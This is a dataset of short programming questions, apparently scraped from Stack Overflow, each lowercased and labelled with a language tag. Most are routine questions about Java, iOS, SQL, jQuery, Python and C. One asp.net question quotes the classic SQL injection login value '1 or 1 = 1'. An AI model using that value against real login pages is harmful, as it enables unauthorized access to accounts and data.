simple inheritance but confusing  this is class javatest   <pre><code>package testing.test;  public class javatest  {     int i=2; } </code></pre>   this is class javatest2   which extends javatest   <pre><code>package testing.test;  class javatest2 extends javatest {     public static void main(string[] args) {           new javatest2().add(5);     }      void add(int i)     {         system.out.println(5+i);     } } </code></pre>   now the output is coming to 10    actual problem is get the i value of parent class to add..,java
implementation left slide menu app in ios  i want to have a left slide menu in my ios app like facebook app. but i don t get how i can implement this.    the way i thought was     i have     leftmenucontroller : uitableviewcontroller  which has left menu view    and menunavigationcontroller : uiviewcontroller which contains leftmenucontroller instance as a class variable    finally i make my custom view controllers extending menunavigationcontroller class so that each view controller can use left slide menu.    but the problem is when i click row in my left menu i want to pushviewcontroller controller a but a controller should also be menunavigationcontroller type.    so menunavigation controller imports leftmenucontroller  and leftmenucontroller imports a controller which is extended from menunavigationcontroller. because it s referencing each other as a loop so app crashes here...    i think this kind of method is quite silly but is there any way to solve this problem  or could you please suggest a better way of implementing this kind of app,objective-c
why is my view file moving all my head content into the body section   i m very confused by how the <code>application.html.erb</code> file and the view files combine.  i have in my <code>application.html.erb</code> file the following (minimized the content for brevity):   <pre><code>&lt;!doctype html&gt; &lt;html&gt;   &lt;head&gt;     &lt;!-- bootstrap css --&gt;     &lt;link href= /bootstrap-assets/css/bootstrap.css  rel= stylesheet &gt;     &lt;%= yield :head %&gt;   &lt;/head&gt; &lt;body&gt;    &lt;nav&gt;       &lt;!--long navbar section --&gt;    &lt;/nav&gt;   &lt;%= yield %&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   in my view file:   <pre><code>&lt;html&gt; &lt;head&gt;     &lt;!-- view specific stylesheet --&gt;     &lt;link href= /css/viewspecific.css  rel= stylesheet  /&gt; &lt;/head&gt; &lt;body&gt;     &lt;!-- view specific body --&gt; &lt;/body&gt; </code></pre>   what i would expect is that when these 2 files combine  the view specific stylesheet load in the <code>&lt;head&gt;</code> section  and the view specific body load in the <code>&lt;body&gt;</code> section.  the final result actually sends the view specific stylesheet to the <code>&lt;body&gt;</code> section  after the <code>navbar</code> from <code>application.html.erb</code> is already loaded.  this obviously produces the unwanted result that part of my body is loading before the stylsheet is loaded  and the first second the user views the page everything looks terrible.,ruby-on-rails
uirefreshcontrol needs to be pulled down too far  i m trying to implement a <code>uirefreshcontrol</code> in my project on a <code>uicollectionview</code>. it works as intended  but i need to pull the the <code>uicollectionview</code> about 3x as much as the height of the <code>refreshcontrol</code> when it s spinning (once the user has let go). i ve seen other apps where you only need to pull down to the height of the <code>refreshcontrol</code> when it s spinning. how do i change the amount i need to pull down     code:   <pre><code>(void)viewdidload {   [super viewdidload];    [self.collectionview setbackgroundcolor:[uicolor clearcolor]];   self.refreshcontrol = [uirefreshcontrol new];   [self.refreshcontrol addtarget:self action:@selector(refreshfavorites) forcontrolevents:uicontroleventvaluechanged];   [self.collectionview addsubview:self.refreshcontrol];   self.collectionview.alwaysbouncevertical = yes; }  </code></pre>   attached are pictures to help visualize what i mean. my <code>collectionview</code> has one row (solid red). the space between the red and the <code>refreshcontrol</code> is simply the space i m pulling down to try to activate the <code>refreshcontrol</code>.    in this image i ve almost activated the control and i ve already pulled down a considerable amount on the screen.    <img src= https://i.stack.imgur.com/gohff.png  alt= enter image description here >    in this image i ve activated the control and it s starting to load (after it jumps ~20-30 pix  but it still highlights how significant this is)    <img src= https://i.stack.imgur.com/s76xx.png  alt= enter image description here >    this image shows the control in its  resting  state after it s been activated and is doing the animation.    <img src= https://i.stack.imgur.com/r3rl1.png  alt= enter image description here >    i ve tried setting the frame of the <code>uirefreshcontrol</code> to try to control the height  but this doesn t work. i ve also changed around the size in <code>collectionview:layout:sizeforitematindexpath</code> which hasn t helped.,ios
what is the equivalent of cachedependency s cachekeys parameter in .net 4 s system.runtime.caching  i am migrating some old .net 3.5 code to .net 4. what is the equivalent of the below code in terms of the usage of the cachekey parameter to cachedependency (with value  xyz  in my example)    <pre><code>var webcache = new system.web.caching.cache(); webcache.insert( foo    bar   new cachedependency(null  new [] {  xyz  })  system.web.caching.cache.noabsoluteexpiration  system.web.caching.cache.noslidingexpiration); </code></pre>,.net
how can i make the height of a text view change according to the content in filling it with   my text view is filled with content that i m parsing with json. each text view has different content so the height of each one varies.    there s to ways to add a text view  through the storyboard or with code. something like this:    <pre><code>uitextview *newscontent = [[uitextview alloc] initwithframe:cgrectmake(0.0f  238.0f  290.0f  120.0f)]; newscontent.font = [uifont fontwithname:@ helveticaneue  size:12.0]; newscontent.editable = no; newscontent.scrollenabled = no; </code></pre>   either way i have to determine the text view height but since it changes every time  i m looking for a way to make the text view height change dynamically.    any help  thanks.,ios
is there any method to split the hours from hh:mm:ss format in python   i am learning python.i have created a list that store multiple values in format  hh:mm:ss . now i want to split the hours part of each element of it. please help.,python
sql : join and group by  having 3 tables:   <blockquote>    movie(id  title  yr  score  votes    director) actor(id  name)   casting(movieid  actorid  ord)        q:which were the busiest years for    john travolta . show the number of   movies he made for each year.  </blockquote>   a: my try is syntactically worng. why     <pre><code>select yr  count(*) from   (actor join casting on (actor.id = casting.actorid)  join  on (movie.id = casting.movieid)  group by yr  having actor.name= john travolta  </code></pre>,sql
parallelogram menu bar with -webkit-transform causes multiple bugs  recently  i created a navigation bar and transformed the menu items into a parallelogram using <code>-webkit-transform:skew(-30deg);</code> and the <a href= https://stackoverflow.com/questions/33996376/css-base64-background-image-transforms-after-using-webkit-transform/ >tweaks of the community</a>.    now  i tried fixing the dropdown menus with the css class <code>.submenu</code>.  this is my progress so far: <a href= http://jsfiddle.net/an5mb2y3/1/  rel= nofollow noreferrer >http://jsfiddle.net/an5mb2y3/1/</a>     but there are some bugs i could not fix:   <ul> <li> font smoothing: when i hover over the dropdown menu items  the font gets blurry. after another second  the font gets clear. i read about using -<code>webkit-font-smoothing: antialiased</code>to fix this  i tried it and had no success. </li> <li> also  the dropdown menu gets displayed in the background  behind the embedded image. i want to show the menu on a top layer of the image. what i tried was changing the <code>z-index</code> to a bigger value. but it did not work. </li> <li> i want to display the submenu from the position where the parallelogram starts while hovering. i tried <code>margin-left: 42px;</code> on the <code>.submenu</code> class  but this doesn t work for both dropdown menus at the same time.  </li> </ul>,css
having the ios app awake all the time  i m developing an application that has a files downloading feature. almost all the files that can be downloaded through the app are really big  so the downloading time is quite long.    what i m trying to develop is a way to keep the app alive  and with alive i mean that the device never gets blocked while the app is opened. i want to write the app so the downloading doesn t stop when the device blocks.    what i found over the internet is that this method violates some apple policies  but this app won t be in the app store  so i don t really mind about that.    any thoughts,ios
incompatible types error with struct c  i am receiving an incompatible types error as follows:   <pre><code>error: incompatible types when assigning to type ‘struct cache *’ from type ‘cache’ </code></pre>   i have the following structures.   <pre><code>typedef struct __region { int size; void *addr; struct __region *next; } region;  typedef struct { int size; int remainingspace; void *addr; char *bitmap; struct cache *parent; struct slab *next; } slab;  typedef struct { int alloc_unit; int slab_counter; slab *s; } cache;  typedef struct { region *r; cache c[8]; } memory; </code></pre>   the code i run which receives the error is:   <pre><code>memory m; m.c[0].s-&gt;parent = m.c[0]; </code></pre>,c
view xml data in jquery  how do i display xml data using jquery  i don t need to parse it i just need to display it to the user on the page.    here s my current code:   <pre><code>$.ajax({     type:  post       datatype:  xml       contenttype:  application/json; charset=utf-8       url:  service2.svc/dowork       data:  {}       processdata: true      success: function(response  textstatus  jqxhr) {         alert($(jqxhr).responsexml);     }); $( #text1 ).val($(response)); }  error: function() {     alert( error ); } }); </code></pre>,jquery
error: bad operand types for binary operator  &&  java issue  this has been driving me nuts. i need to get this sorted by 2nd of jan  and it decides to eat itself into a void of disrepair. cursed code. any help would be greatly appreciated (i ve been using jdoodle to run the code).    the code is supposed to output zodiac stuff currently  and the sign section has been giving me the most jiff.   <pre><code>    if((month == 1) &amp;&amp; (day &lt;= 20) || (month == 12) &amp;&amp; ((day &gt;= 22))) {     sign =  capricorn ;     }     if ((month == 1) || (month == 2) &amp;&amp; (day &lt;= 19)); {     sign =  aquarius ;     }     if ((month == 2) || (month == 3) &amp;&amp; (day &lt;= 20)); {     sign =  pisces ;     }     if ((month == 3) || (month == 4) &amp;&amp; (day &lt;= 19)); {     sign =  aries ;     }     if ((month == 4) || (month == 5) &amp;&amp; (day &lt;= 21)); {     sign =  taurus ;     }     if ((month == 5) || (month == 6) &amp;&amp; (day &lt;= 21)); {     sign =  gemini ;     }     if ((month == 6) || (month == 7) &amp;&amp; (day &lt;= 23)); {     sign =  cancer ;     }     if ((month == 7) || (month = 8) &amp;&amp; (day &lt;= 23)); {     sign =  leo ;     }     if ((month == 8) || (month = 9) &amp;&amp; (day &lt;= 23)); {     sign =  virgo ;     }     if ((month = 9) || (month = 10) &amp;&amp; (day &lt;= 23)); {     sign =  libra ;     }     if ((month = 10) || (month = 11) &amp;&amp; (day &lt;= 22)); {     sign =  scorpio ;     }     if (month == 12) {     sign =  sagittarius ; </code></pre>,java
delete with select (error 1093)  i need to delete the results in this query:   <pre><code>select a.cad_id from `cad` a where not exists ( select b.cad_id from `rel` b where a.cad_id = b.rel ) </code></pre>   i try:   <pre><code>delete from `cad` where cad_id = ( select a.cad_id from `cad` a where not exists ( select b.cad_id from `rel` b where a.cad_id = b.rel ) ) </code></pre>  <h1>1093 - you can t specify target table  cad  for update in from clause</h1>   how can i solve it,mysql
mix-up webform and mvc in one project vs separate them in 2 projects in the same solution  i ve tried to mix up webform and mvc in the same application  but so far i ve failed miserably. it looks like i m missing some steps some how some where. i m really tired.    i wonder if just it s bad prectice to have 3 projects in a solution: the first one for the model  the second one for the webform  and the last one for the mvc.    thanks for helping,asp.net
i am trying the following code   but it is throwing exception <pre><code>it is showing exception (signal sigabert) at  return uiapplicationmain(argc  argv  nil  nsstringfromclass([xyzappdelegate class])); </code></pre>   exception detail is:  2015-02-19 13:09:02.825 try11feb2[377:11303] <strong>* terminating app due to uncaught exception  nsinvalidargumentexception   reason:  *</strong> -[__nsarraym insertobject:atindex:]: object cannot be nil      *** first throw call stack:     (0x1c92012 0x10cfe7e 0x1c45b6a 0x1c45a20 0x26ab 0xbd5589 0xbd3652 0xbd489a 0xbd360d 0xbd3785 0xb20a68 0x46156dc 0x4613bb3 0x4651cda 0x1c348fd 0x465235c 0x46522d5 0x453c250 0x1c15f3f 0x1c1596f 0x1c38734 0x1c37f44 0x1c37e1b 0x1bec7e3 0x1bec668 0x13ffc 0x1c3d 0x1b65 0x1)     libc++abi.dylib: terminate called throwing an exception     (lldb)    <h1>import  xyzviewcontroller.h </h1>  <pre><code>    @interface xyzviewcontroller ()      @end      @implementation xyzviewcontroller     @synthesize mytv;      - (void)viewdidload     {         tabledata=[[nsmutablearray alloc]init];         [super viewdidload];         // do any additional setup after loading the view  typically from a nib.     }      - (void)didreceivememorywarning     {         [super didreceivememorywarning];         // dispose of any resources that can be recreated.     }      - (ibaction)btnpressed:(id)sender {          nsstring *str=@ http://ax.itunes.apple.com/webobjects/mzstoreservices.woa/ws/rss/topsongs/limit=10/json ;         nsurl *url=[[nsurl alloc]initwithstring:str];         nsurlrequest *req=[[nsurlrequest alloc]initwithurl:url];         conn=[[nsurlconnection alloc]initwithrequest:req delegate:self];         if (conn) {             webdata=[[nsmutabledata alloc]init];         }      }     -(void)connection:(nsurlconnection *)connection didreceiveresponse:(nsurlresponse *)response     {         [webdata setlength:0];     }     -(void)connection:(nsurlconnection *)connection didreceivedata:(nsdata *)data     {         [webdata appenddata:data];     }     -(void)connection:(nsurlconnection *)connection didfailwitherror:(nserror *)error     {         nslog(@ failed );     }     -(void)connectiondidfinishloading:(nsurlconnection *)connection     {          nsdictionary *ald=[nsjsonserialization jsonobjectwithdata:webdata options:0 error:nil];         nsdictionary *feed=[ald objectforkey:@ feed ];         nsarray *arrayofentry=[feed objectforkey:@ entry ];         for (nsdictionary *dic in arrayofentry)         {  nsdictionary *zero=[dic objectforkey:0];             nsdictionary *title=[zero objectforkey:@ title ];             nsstring *label=[title objectforkey:@ label ];              [tabledata addobject:label];              // nslog(@ %@  label);}           //  tabledata =[[nsarray alloc]initwithobjects:label  nil];             [[self mytv]reloaddata];         } [[self mytv]reloaddata];     }     -(nsinteger)tableview:(uitableview *)tableview numberofrowsinsection:(nsinteger)section     {         return [tabledata count];     }     -(uitableviewcell*)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath     {         nsstring *cellidentifier=@ cell ;         uitableviewcell *cell=[tableview dequeuereusablecellwithidentifier:cellidentifier];         if (!cell) {             cell=[[uitableviewcell alloc]initwithstyle:uitableviewcellstyledefault reuseidentifier:cellidentifier];          } cell.textlabel.text=[tabledata objectatindex:indexpath.row];         return cell;     }     @end </code></pre>,ios
resize two divs relative to window size  i currently have one div resizing to the full height of the window whenever a user resizes their browser like so:   <pre><code>$(window).resize(function() {     $( #selected-folders-area ).height($(window).height()-350); }); </code></pre>   <strong>note:</strong> the <code>-350</code> accounts for the header content    i want to add a second div to this page and when the browser is resized  both divs need to share the size of the window  filling it with their own heights to the bottom of the window.     i m not sure if i m being clear enough  so let me know if you need me to expand.,jquery
logic error (pythons): not getting write output but function works   inputted:    <pre><code>akash das </code></pre>   expected return:    <pre><code>das akash  </code></pre>   my code is outputting:   <pre><code>da akash </code></pre>   here s my code:   <pre><code>#a def firstword(string):     space = string.find(   )     first = string[:space]     return first  #b def removefirst(string):     space = string.find(   )     word = string[space + 1:]     return word  print(removefirst( akash das )) #c def reversephrase(string):     reverse = []     numspace = string.count(   )     reverse.append(firstword(string))     while numspace &gt; 0:        string = removefirst(string)        reverse.insert(0  firstword(string))        numspace -= 1     return reverse  def printreverse(string):     for i in reversephrase(string):         print (i  end =    ) #d def main():     string = input( enter a phrase.  )     print( your reversed phrase is   end =    ) #call reverse     printreverse(string) main() </code></pre>   and here s the output:    <pre><code>&gt;&gt;&gt;  das enter a phrase. akash das your reversed phrase is da akash  &gt;&gt;&gt;  </code></pre>,python
why login.asp are used   i ve seen that mostly 90% of loginpages.asp are hacked using the password : 1 or 1 = 1    but still seems that they ve not changed it and using the same validation method. i ve checked the same method in my project which has login page as .jsp and it returns as incorrect credentials  mine is just a simple one but publishing a website is to be in high standard right  their authentication is very poor compared to my authentication.    people told that 1 or 1 = 1 is a simple sql command. i dont know how it works because i ve not worked on any asp pages. kindly explain how that password works. thanks,asp.net
running multiple task  i m trying to execute multiple tasks at the same time   <pre><code>    private static void main(string[] args)     {         while (true) {             console.foregroundcolor = consolecolor.white;             console.write( enter number of cart:  );             var numofcarts = convert.toint32(console.readline());              console.write( enter number of items:  );             var numofitems = convert.toint32(console.readline());             runtasks(numofcarts  numofitems).wait();         }     }      public static async task runtasks(int numofcarts  int numofitems)     {         for (var i = 0; i &lt; numofcarts; i++)             await task.run(() =&gt;             {                 var color = (consolecolor) new random().next(0  15);                 for (var q = 0; q &lt; numofitems; q++) {                     console.foregroundcolor = color;                     console.writeline( cart {0} : {1}   i  q);                 }             });     } </code></pre>   is this correct implementation  foregroundcolor rarely changes. i would like the console color to be different for each cart.,.net
toggle image on with clientscriptblock  i m trying to use jquery to show an image that i have set to display: none. i run the code server side  but do not see the image after the page renders. can someone show me where i need to fix my code to show an image that initially is set to display: none  there are many icons i m trying to show  so i m trying to use the class property of jquery to do this. i am using a master page if that matters.    server side code:   <pre><code>page.clientscript.registerstartupscript(typeof(page)   showediticons    $( .editicon ).css( display    block ;   true); </code></pre>   html:   <pre><code>img id= describeprocessq  src= assets/images/edit_icon.gif  class= editicon  style= display: none;  alt= describe process comments  /&gt; </code></pre>,jquery
bitwise operations in c  this code compiles fine  but when i try to run it  it fails.     <pre><code>int main(int argc  char** argv) {     int c = 4;     int b = 5;     int a = a &amp; b;     printf(a);      return (exit_success); } </code></pre>   what am i doing wrong,c
looking for sql query to display data from 2 tables that is not commone between the tables  i have two tables that have the exact same structure.    table masterlist acct_id(9) name (25) address (35) city(15) state(2) zipcode(5)    and    table newmasterlist acct_id(9) name (25) address (35) city(15) state(2) zipcode(5)    i need a query that will display the acct_id and name for all records from each table that are not in both tables.,sql
in multiple join clauses  can all the on clauses be moved to the end   for example  having tables b and c each one a foreign key to table a  is the following query   <pre><code>select a.a  b.b  c.c  from a inner join b on a.pk = b.fk        inner join c on a.pk = c.fk </code></pre>   equivalent to this one   <pre><code>select a.a  b.b  c.c  from a inner join b         inner join c on a.pk = c.fk                     on a.pk = b.fk </code></pre>        i have found the second syntax in a query not written by me which i have to understand.  i ve tried the two queries with simple example data and they yield the same recordset  but i need to know if they are equivalent in general or only in particular cases.     and if  instead  table c has a foreign key to table b  which in turn has a foreign key to table a  is the following query   <pre><code>select a.a  b.b  c.c  from a inner join b on a.pk = b.fk        inner join c on b.pk = c.fk </code></pre>   equivalent to   <pre><code>select a.a  b.b  c.c  from a inner join b         inner join c on b.pk = c.fk                     on a.pk = b.fk  </code></pre>,sql
javascript isolate and format hours and minutes as 4-digit number  i m working on a project where i need to get the hours and minutes alone without the semicolon (:) separating them  and represent them in a variable  <code>mytime</code>  as a 4-digit number. here is my code:   <pre><code>var now = new date(); var time = now.tostring().substr(16 5) </code></pre>,javascript
create function which parse an enum in c#  i know that to parse a string to specific <code>enum</code> like:   <pre><code>enum anenumtype  {    test_     other_test_     others_ }  enum otherenumtype  {    test1_     other_test1_     others1_ }   string avaluestring =  test_ ;  anenumtype result = (anenumtype)enum.parse(typeof(anenumtype)  avaluestring); </code></pre>   so  i want to create a function  a generic one which use parser for my <code>enum</code>(s) like:   <pre><code>public type convertstringtoanenum(string value  type anytype){  return (anytype)enum.parse(typeof(anytype)  avaluestring); } </code></pre>   but i guess that is not ok...    how to make the function which parse any enumeration type specified as argument in function      like i want to call <code>otherenumtype result = convertstringtoanenum( test1_   otherenumtype)</code>,c#
why does fscanf ignore the first string   i am trying to make a translator.  this is the part where i put all the strings from the text file on the memory.  but the program ignores the first string of the text file.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; typedef struct b {    char b[30]; }b; int main() {     int d c i=0;     char k[30] x;     b *a;     file *fp;     if ((fp=fopen( translate.txt   r ))==null)     {        printf( σφάλμα κατά το άνοιγμα του αρχείου\n );     }     else     {         while(!feof(fp))         {             fscanf(fp  %s  k);             i++;         }         a=malloc((i)*(sizeof(b)));         fclose(fp);     }     if ((fp=fopen( translate.txt   r+ ))==null)     {        printf( σφάλμα κατά το άνοιγμα του αρχείου\n );     }     else     {         rewind(fp);         for (c=0;c&lt;i;c++)        {         fscanf(fp  %s  a[c].b);        }        fclose(fp);     } </code></pre>,c
how to add string with the style add into resourcedictionary in wpf  i want to add string with the style is added into resourcedictionary  how this is possible   <pre><code>ex : string mystyle =  &lt;style x:key= basestyle  targettype= {x:type button} &gt;  +      &lt;setter property= fontsize  value= 12  /&gt;  +      &lt;setter property= background  value= orange  /&gt;&lt;/style&gt; ; </code></pre>   i want to add this string into resourcedictionary    how    <pre><code>resourcedictionary rd = new resourcedictionary(); rd.mergeddictionaries.clear(); rd.add( mystyle   mystyle); application.current.resources.mergeddictionaries.add(rd); </code></pre>   is not working....,c#
convert from decimal to hex in python  i have a simple task  i m requesting for user input for a 16 digit hex number  but if the user enters a decimal number i d like to convert it for them.   i have the code written to re-ask for the input if it s not 16 digit hex  but i d like to add in the conversion from decimal to hex  and then validate that it s a 16 digit hex number.    i guess i just need a shove in the right direction for the conversion.    thanks all!,python
how to access a module on another controller in angular js  if i declared module inside an <a href= https://en.wikipedia.org/wiki/immediately-invoked_function_expression  rel= nofollow noreferrer >iife</a> in angular js   <pre><code>(function(){   var app=angular.module( myapp  []);     var mapcontroller = function () {     var mapscope = this;    };   app.controller( mapcontroller   [mapcontroller]); })() </code></pre>   how is it going to be accessible to another controller  which is defined inside another <a href= https://en.wikipedia.org/wiki/immediately-invoked_function_expression  rel= nofollow noreferrer >iife</a>     suppose i have another controller in a different js file table controller. how can i access app module there    <pre><code>app.controller( tablecontroller   [ $http   tablecontroller commonservice]); </code></pre>   in other words  can we create angular js app without a single global variable where control are separated in multiple js files,angularjs
filter an array of objects based on key/value and remove it from array  in the following function i push and object to the <code>accountstodelete</code> array  i need to then remove the matching object from the <code>accountstoadd</code> array. i am guessing i would have to use a combination of indexof  filter  reduce but i am still a little rough in understanding how to accomplish this. this is the current function:   <pre><code>accountdelete(id  name) {     const accountstoadd = this.userform.value.accountstoadd;     const accountstodelete = this.userform.value.accountstodelete;     this.userform.value.accountstodelete.push(         {             id: id              name: name         }     ); } </code></pre>,javascript
increasing session time in php  i am trying to increase the session time using the following code :    <pre><code>ini_set( session.gc_maxlifetime   60*60*24*15); ini_set( session.cookie_lifetime   60*60*24*15); session_set_cookie_params(60*60*24*15); session_start(); </code></pre>   but the session is expiring in an hr or so. i could not make changes in php.ini    is there an alternative to increase session timeout without modifying the php.ini,php
create a random array of numbers excluding 0  i am trying to randomize numbers 1-6.    i have the following code already:   <pre><code>for (var a=[] i=0;i&lt;6;++i) a[i]=i;     function shuffle(array) {         var tmp  current  top = array.length;         if(top) while(--top) {             current = math.floor(math.random() * (top + 1));             tmp = array[current];             array[current] = array[top];             array[top] = tmp;         }         return array     }     a = shuffle(a);     console.log(shuffle(a)); </code></pre>   however  in my console this includes the number 0 and excludes 6. is there a way to make these numbers range from 1 - 6 instead of 0-5,javascript
setrange for an input field using angularjs  we have an input field for entering hour. so only values between 0 and 12 should be entered.   <pre><code>&lt;input type= text  id= hour-field &gt; </code></pre>   which is the best way to achieve this using angularjs. should i use directives or ng-keyup for this.which is more efficient.    please note all the other keyevents other than 0-9 has to be disabled.    thanks in advance for help.,angularjs
what does @class do in objective-c   can anyone please explain me what does <code>@class</code> declaration do in objective-c and what are the cases in which we should use this declaration,objective-c
using ng-if inside ng-repeat doesn t work  i have an array called <code>polls</code> with many objects <code>poll</code>. each poll has a property <code>modulestate</code> which is initally set to the string  notvoted . the modulestate for an individual poll may later  be set to the string  voted . here is the template for one of my partials:    <pre><code>&lt;div ng-init= loadpage() &gt;     &lt;div ng-repeat= poll in polls &gt;         &lt;div ng-if= poll.modulestate  ===  notvoted  &gt;           //template 1         &lt;/div&gt;         &lt;div ng-if= poll.modulestate ===  voted  &gt;           //template 2         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   the problem is  both templates are used for each poll in polls. so if there were 3 poll objects in the array polls  the partial would put out:    template 1    template 2     template 1    template 2    template 1    template 2    i suspect this is because of a weird interaction between ng-if and ng-repeat. how can i get it so only one template per poll shows      edit: as requested  here is a console.log of a poll object. as you can see  modulestate is in fact set to  notvoted     <a href= https://i.stack.imgur.com/sbfwi.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/sbfwi.png  alt= console.log of poll object ></a>,angularjs
sql query. joining column with itself  looks like should work but missing pairs  i ve simplified the database to make it easier. here s the diagram:    <a href= https://i.stack.imgur.com/906lk.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/906lk.png  alt= enter image description here ></a>    we have products. products belong to categories and have manufacturers.     what i need is   <strong>for every pair of categories  to find the count of manufacturers that have manufactured products of both categories.</strong>    so the result set needs to look like this (this is not actual data):    <a href= https://i.stack.imgur.com/eh8tl.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/eh8tl.png  alt= enter image description here ></a>    <strong>this is what i ve tried so far:</strong>   <pre><code>select phc1.category_id as cat1   phc2.category_id as cat2  count(phm.manufacturer_id) from product_has_category phc1  product_has_category phc2  product_has_manufacturer phm where phm.product_id = phc1.product_id and phm.product_id=phc2.product_id  and phc1.category_id &lt; phc2.category_id  group by phc1.category_id  phc2.category_id order by phc1.category_id  phc2.category_id </code></pre>  <hr>   this looks to me like it should be right  but i m getting less results than i should be. i m missing some category pairs. am i approaching this wrong     thank you,sql
changing the elements of a c-style array in objective-c  i am trying to change the elements of a c-style array. using an <code>nsarray</code>/<code>nsmutablearray</code> is not an option for me.    my code is as so:   <pre><code>int losingpositionsx[] = {0  4  8...}; </code></pre>   but when i enter this code   <pre><code>losingpositionsx = {8  16  24}; </code></pre>   to change the arrays elements of he array it has an error of:  expected expression  how can i make the copy,objective-c
what is the meaning of this code in javascript  i am newbie to javascript  i have difficulties getting the meaning of this code properly. i would like to share my thought over the code and i need your guidance to understand it correctly.   <pre><code>&lt;body&gt;   &lt;form&gt;     &lt;input type= button  value= click me!  id= say_hi  /&gt;   &lt;/form&gt;   &lt;script type= text/javascript  src= js_event_01.js &gt;&lt;/script&gt; &lt;/body&gt;  function hi_and_bye() {   window.alert( hi! );   window.alert( bye! );  } var hi_button = document.getelementbyid( say_hi ); hi_button.onclick = hi_and_bye; </code></pre>   my understanding: the event  onclick  calls the function  hi_and_bye  when id is  get_alerts . similarly this could be applied to any event  and i can give an id attribute to any element and that id would be responsible to make an accessible corresponding input element.,javascript
if inside while loop <pre><code>again = true  while(again == true):      yn = input( do you want to do it again  (y or n) ).lower()      if(yn ==  y  or  yes ):         again == true     elif(yn ==  n  or  no):         again == false </code></pre>   how do i make this code work  when i run it  it will always come out to be true.. =/,python
add class in li after time and re-add from the first  i have ul like this   <pre><code>&lt;ul&gt;     &lt;li&gt;one&lt;/li&gt;     &lt;li&gt;one&lt;/li&gt;     &lt;li&gt;one&lt;/li&gt;         &lt;/ul&gt; </code></pre>   i want jquery code    <ol> <li>1- add one the first li the <code>current</code> class</li> <li>after 2 second add on the second li</li> <li>and etc</li> <li>if its the last li re-make from the first</li> </ol>   and i will never use a jquery plugin like cycle because i must do by my hand,jquery
get the crash info from user[.net]  when my application crashed  i want to get the crash infomatin from the user so i wander how to get the crash info from the user and how to handle the exceptions when the main application crashed <br><br/>ps.just like that window: would you like to send the crash info to microsoft,.net
sql - join two fields in the same table to a single field in another table  i m working on a way to lookup the description for a code that appears in two fields of the same table.    the table/field names are :   <pre><code>contacts  name  group_1 and group_4  lookup lookup_id  lookup_name </code></pre>   <code>contact.group_1</code> and <code>contact.group_4</code> both refer to values in <code>lookup.lookup_id</code> and need to be resolved to their corresponding name values in <code>lookup.lookup_name</code>.    how can i connect both fields to the <code>lookup</code> table and have them bring back their respective <code>lookup_name</code> values,sql
limit per user in rails query  so i have a standard <strong>users</strong> table structure  with a primary id key and what so not and the following <strong>persona</strong> table:   <pre><code> user_id | persona_id | time_inserted  2              1             x  2              2             x+1  2              3             x+2  1              1             x+3  5              8             x+6  5              9             x+1 </code></pre>   what i d like to do is retrieve the <strong>last</strong> inserted row and limit to <strong>one</strong> per user id. so  in that query  the result i want would be:    [2  3] because the last inserted for 2 was persona_id 3 (x+2)  [1  1]  and [5 8] because the last inserted for 5 was persona_id 8 (x+6)    this is my query:   <pre><code>to_return = persona.select(to_get).where(to_condition) </code></pre>   this works  but retrieves them all. how can i restrict the query as asked  thank you very much.,ruby-on-rails
i m writing a fuel conversion program and its not working :(  i am a novice python code writer and i am starting small with a fuel conversion program. the program asks for your name and then converts a miles per gallon rate or a kilometers per litre rate. currently  the program runs fine until it gets to the convert to mpg line. then once you press y  it does nothing. funny thing is  no syntax error has been returned. please help as i cannot find anything on it :(   <pre><code>import time  y =  y    yes    yep    yea    ye  n =  n    no    nup    nay   name = str(input( hey  user  whats your name     ))  time.sleep(1.5)  print( alright   name   welcome the the *gravynet* fuel efficiency converter! )  time.sleep(1.5)  str(input( would you like to convert the fuel efficiency of your motor vehcile  (miles per gallon) (y/n):     ))  if y is true:  miles = int(input( how far did you travel (in miles):    ))  galls = int(input( how much fuel did you consume (in gallons):    ))   mpgc = (galls/miles)   print( the mpg rate is:     int(mpgc))   time.sleep(2)   print( test print ) if y is (not true):    input(str( would you like to convert kpl instead  (y/n):    ))    time.sleep(1.5)    if y is true:     kilometers = int(input( how far did you travel (in kilometers):    ))     litres = int(input( how much fuel did you consume (in litres):    ))     kplc = ( litres / kilometers )     print( the kpl rate is:      int(kplc))     time.sleep(3)     exit()     if y is not true:     print( no worries )     time.sleep(1.5)     print( thanks   name   for using *gravynet* fuel efficiency coverter )     time.sleep(1.5)     print( have a good day! )     time.sleep(1.5)     exit()    else :      print( sorry  invalid response. try again )      exit()   elif not y:    print( please use y/n to answer  )    time.sleep(2)  elif not n:    print( please use y/n to answer  )    time.sleep(2) </code></pre>   sorry if you think that is bad but i just started python and i need some help :),python
javascript hexadecimal to ascii character replace by regex  hello i want to replace hexadecimal results to ascii character    i try this but icant do it    <pre><code>output.content = decoderesults[0].content.replace( %3c0xc5%3e%3c0x9f%3c%3e    asd ); </code></pre>   my char hex code is &lt;0xc5>&lt;0x9f>    <img src= https://i.stack.imgur.com/7zrjj.png  alt=  >    default code    <pre><code>    // default script for data formatting function onresult (decoderesults  readerproperties  output) {     if (decoderesults[0].decoded)     {         output.content = decoderesults[0].content;     } } </code></pre>,javascript
what does this bit of code mean  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/4511301/javascript-shorthand-what-does-the-operator-mean-when-used-in-an-assignme >javascript shorthand - what does the &#39;||&#39; operator mean when used in an assignment </a>    </blockquote>     <code>var variable = obj1 || obj2;</code>    does it mean this    <pre><code>var variable;  if (obj1) {     variable = obj1; } else if (obj2) {     variable = obj2: } </code></pre>   is it considered bad practise,javascript
conditional to compare two dates  one is x amount of time into the future  consider:   <pre><code>$created_dt = created_dt-&gt;created_dt  // string(19)  2013-06-06 15:50:08  </code></pre>   i am trying to determine if the current date/time is greater than 24 hours from this time:   <pre><code>$current_time = date( y-m-d h:i:s   now());  if($current_time &gt; $created_dt + 24 hours){   //do some things   } </code></pre>   how can this be achieved  are you able to use &lt;  = > operators with date strings      i have tried:   <pre><code>$created_dt = mktime(date( h )+1); //seems to add 6 hours to current time  $created_dt = date( y-m-d h:i:s   now( h +1)); // gives me the time and date for now </code></pre>,php
